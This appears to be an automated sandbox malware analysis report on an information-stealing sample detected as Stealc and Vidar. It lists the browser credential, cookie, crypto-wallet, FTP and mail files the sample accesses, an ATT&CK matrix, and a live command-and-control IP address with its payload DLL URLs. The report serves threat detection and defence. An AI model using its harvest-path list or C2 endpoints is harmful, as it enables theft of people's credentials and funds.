Code function: 3_2_00417A30 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

3_2_00417A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.3945570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3945570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1707166083.0000000003945000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1850148614.00000000014EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7420, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 7420, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe	String found in binary or memory: eam Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\
Source: RegAsm.exe	String found in binary or memory: \|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|Mul
Source: RegAsm.exe	String found in binary or memory: eam Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\
Source: RegAsm.exe	String found in binary or memory: \|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|Mul
Source: RegAsm.exe	String found in binary or memory: \jaxx\Local Storage\
Source: RegAsm.exe	String found in binary or memory: eam Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\
Source: RegAsm.exe	String found in binary or memory: eam Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\
Source: RegAsm.exe	String found in binary or memory: \|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|Mul
Source: RegAsm.exe	String found in binary or memory: eam Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\
Source: RegAsm.exe	String found in binary or memory: passphrase.json
Source: RegAsm.exe	String found in binary or memory: \jaxx\Local Storage\
Source: RegAsm.exe	String found in binary or memory: \Ethereum\
Source: RegAsm.exe	String found in binary or memory: eam Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\
Source: RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json
Source: RegAsm.exe	String found in binary or memory: Ethereum
Source: RegAsm.exe	String found in binary or memory: file__0.localstorage
Source: RegAsm.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: RegAsm.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe	String found in binary or memory: iDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json
Source: RegAsm.exe	String found in binary or memory: \|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|Mul
Source: RegAsm.exe	String found in binary or memory: eam Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\
Source: RegAsm.exe	String found in binary or memory: eam Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\
Source: RegAsm.exe, 00000003.00000002.1850148614.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 7420, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.3945570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3945570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1707166083.0000000003945000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1850148614.00000000014EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7420, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 7420, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C540C40 sqlite3_bind_zeroblob,	3_2_6C540C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C540D60 sqlite3_bind_parameter_name,	3_2_6C540D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C468EA0 sqlite3_clear_bindings,	3_2_6C468EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C540B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	3_2_6C540B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C466410 bind,WSAGetLastError,	3_2_6C466410

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	511 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Software Packing	NTDS	144 System Information Discovery	Distributed Component Object Model	1 Email Collection	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	21 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	511 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	24%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://193.233.113.184/	0%	Avira URL Cloud	safe
http://193.233.113.184/6d687e53250c2111.phpNX	0%	Avira URL Cloud	safe
http://193.233.113.184/6d687e53250c2111.phprofiles	0%	Avira URL Cloud	safe
http://193.233.113.184/53e0491f34ea3a8a/sqlite3.dll7	0%	Avira URL Cloud	safe
http://193.233.113.184/53e0491f34ea3a8a/sqlite3.dll	0%	Avira URL Cloud	safe
http://193.233.113.184/53e0491f34ea3a8a/vcruntime140.dllECBGDHJKFI-journal	0%	Avira URL Cloud	safe
http://193.233.113.184/6d687e53250c2111.php2Y	0%	Avira URL Cloud	safe
http://193.233.113.184/53e0491f34ea3a8a/vcruntime140.dll	0%	Avira URL Cloud	safe
http://193.233.113.184/6d687e53250c2111.php.X	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://193.233.113.184/6d687e53250c2111.phpion:	0%	Avira URL Cloud	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
http://193.233.113.184/6d687e53250c2111.php6X	0%	Avira URL Cloud	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://193.233.113.184/6d687e53250c2111.php:V	0%	Avira URL Cloud	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	Avira URL Cloud	safe
http://193.233.113.184/53e0491f34ea3a8a/softokn3.dll	0%	Avira URL Cloud	safe
http://193.233.113.184/53e0491f34ea3a8a/vcruntime140.dllb	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://193.233.113.184/53e0491f34ea3a8a/nss3.dll	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
https://support.mozilla.org	0%	URL Reputation	safe
http://193.233.113.184/53e0491f34ea3a8a/vcruntime140.dllR	0%	Avira URL Cloud	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://193.233.113.184IEH	0%	Avira URL Cloud	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	Avira URL Cloud	safe
http://193.233.113.184/53e0491f34ea3a8a/mozglue.dll	0%	Avira URL Cloud	safe
http://193.233.113.184/53e0491f34ea3a8a/msvcp140.dll	0%	Avira URL Cloud	safe
http://193.233.113.184/6d687e53250c2111.phpH	0%	Avira URL Cloud	safe
http://193.233.113.184/6d687e53250c2111.phpfY	0%	Avira URL Cloud	safe
http://193.233.113.184/6d687e53250c2111.phprowser	0%	Avira URL Cloud	safe
http://193.233.113.184/6d687e53250c2111.phpN	0%	Avira URL Cloud	safe
http://193.233.113.184	0%	Avira URL Cloud	safe
http://193.233.113.184/53e0491f34ea3a8a/freebl3.dll	0%	Avira URL Cloud	safe
http://193.2	0%	Avira URL Cloud	safe
http://193.233.113.184/6d687e53250c2111.php-fulluser-l1-1-0q	0%	Avira URL Cloud	safe
http://193.233.113.184/6d687e53250c2111.phpzY	0%	Avira URL Cloud	safe
http://193.233.113.184/6d687e53250c2111.phpam	0%	Avira URL Cloud	safe
http://193.233.113.184/6d687e53250c2111.phpIIJDGHCBFIECBKEGH	0%	Avira URL Cloud	safe
http://193.233.113.184/6d687e53250c2111.phpAB(	0%	Avira URL Cloud	safe
http://193.233.113.184/6d687e53250c2111.php6	0%	Avira URL Cloud	safe
http://193.233.113.184/6d687e53250c2111.php	0%	Avira URL Cloud	safe
http://193.233.113.184/6d687e53250c2111.php~X	0%	Avira URL Cloud	safe
http://193.233.113.184/6d687e53250c2111.php-	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://193.233.113.184/	true	Avira URL Cloud: safe	unknown
http://193.233.113.184/53e0491f34ea3a8a/sqlite3.dll	true	Avira URL Cloud: safe	unknown
http://193.233.113.184/53e0491f34ea3a8a/vcruntime140.dll	true	Avira URL Cloud: safe	unknown
http://193.233.113.184/53e0491f34ea3a8a/softokn3.dll	true	Avira URL Cloud: safe	unknown
http://193.233.113.184/53e0491f34ea3a8a/nss3.dll	true	Avira URL Cloud: safe	unknown
http://193.233.113.184/53e0491f34ea3a8a/msvcp140.dll	true	Avira URL Cloud: safe	unknown
http://193.233.113.184/53e0491f34ea3a8a/mozglue.dll	true	Avira URL Cloud: safe	unknown
http://193.233.113.184/53e0491f34ea3a8a/freebl3.dll	true	Avira URL Cloud: safe	unknown
http://193.233.113.184/6d687e53250c2111.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDH.3.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	DBGHJEBKJEGHJKECAAKJKEGIIE.3.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDH.3.dr	false	URL Reputation: safe	unknown
http://193.233.113.184/6d687e53250c2111.phpNX	RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.113.184/6d687e53250c2111.phprofiles	RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.113.184/53e0491f34ea3a8a/vcruntime140.dllECBGDHJKFI-journal	RegAsm.exe, 00000003.00000002.1850148614.000000000151D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, BGHIIJDGHCBFIECBKEGH.3.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RegAsm.exe, 00000003.00000002.1850148614.0000000001550000.00000004.00000020.00020000.00000000.sdmp, HJJKJJDH.3.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	BGHIIJDGHCBFIECBKEGH.3.dr	false	Avira URL Cloud: safe	unknown
http://193.233.113.184/53e0491f34ea3a8a/sqlite3.dll7	RegAsm.exe, 00000003.00000002.1850148614.000000000152F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.113.184/6d687e53250c2111.php2Y	RegAsm.exe, 00000003.00000002.1872094493.00000000277A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
